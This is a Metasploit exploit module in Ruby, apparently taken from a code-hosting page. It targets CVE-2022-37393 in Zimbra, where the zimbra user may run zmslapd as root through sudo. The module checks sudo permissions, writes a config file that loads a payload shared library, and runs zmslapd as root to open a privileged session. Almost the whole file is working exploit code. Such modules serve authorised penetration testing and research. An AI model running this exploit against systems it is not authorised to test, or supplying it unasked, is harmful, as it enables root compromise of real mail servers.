139 lines
4.8 KiB
Ruby
139 lines
4.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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include Msf::Post::Linux::Compile
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include Msf::Post::Linux::Kernel
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Zimbra zmslapd arbitrary module load',
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'Description' => %q{
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This module exploits CVE-2022-37393, which is a vulnerability in
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Zimbra's sudo configuration that permits the zimbra user to execute
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the zmslapd binary as root with arbitrary parameters. As part of its
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intended functionality, zmslapd can load a user-defined configuration
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file, which includes plugins in the form of .so files, which also
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execute as root.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Darren Martyn', # discovery and poc
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'Ron Bowes', # Module
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],
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'DisclosureDate' => '2021-10-27',
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Privileged' => true,
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'References' => [
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[ 'CVE', '2022-37393' ],
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[ 'URL', 'https://web.archive.org/web/20221002011602/https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
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],
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'Targets' => [
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[ 'Auto', {} ],
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],
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => [ REPEATABLE_SESSION ],
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS ]
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}
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)
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)
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register_options [
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OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
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OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
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]
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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]
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end
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# Because this isn't patched, I can't say with 100% certainty that this will
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# detect a future patch (it depends on how they patch it)
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def check
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# Sanity check
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if is_root?
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fail_with(Failure::None, 'Session already has root privileges')
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end
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unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
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print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
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return CheckCode::Safe
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end
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unless command_exists?(datastore['SUDO_PATH'])
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print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
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return CheckCode::Safe
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end
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# Run `sudo -n -l` to make sure we have access to the target command
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cmd = "#{datastore['SUDO_PATH']} -n -l"
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print_status "Executing: #{cmd}"
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output = cmd_exec(cmd).to_s
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if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
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print_error('Current user could not execute sudo -l')
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return CheckCode::Safe
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end
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if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
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print_error('Current user does not have access to run zmslapd')
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return CheckCode::Safe
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end
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CheckCode::Appears
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end
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def exploit
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base_dir = datastore['WritableDir'].to_s
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unless writable?(base_dir)
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fail_with(Failure::BadConfig, "#{base_dir} is not writable")
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end
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# Generate a random directory
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exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
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if file_exist?(exploit_dir)
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fail_with(Failure::BadConfig, 'Exploit dir already exists')
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end
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# Create the directory and get ready to remove it
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print_status("Creating exploit directory: #{exploit_dir}")
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mkdir(exploit_dir)
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register_dir_for_cleanup(exploit_dir)
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# Generate some filenames
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library_name = ".#{rand_text_alphanumeric(5..10)}.so"
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library_path = "#{exploit_dir}/#{library_name}"
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config_name = ".#{rand_text_alphanumeric(5..10)}"
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config_path = "#{exploit_dir}/#{config_name}"
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# Create the .conf file
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config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
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write_file(config_path, config)
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write_file(library_path, generate_payload_dll)
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cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
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print_status "Attempting to trigger payload: #{cmd}"
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out = cmd_exec(cmd)
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unless session_created?
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print_error("Failed to create session! Cmd output = #{out}")
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end
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end
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end
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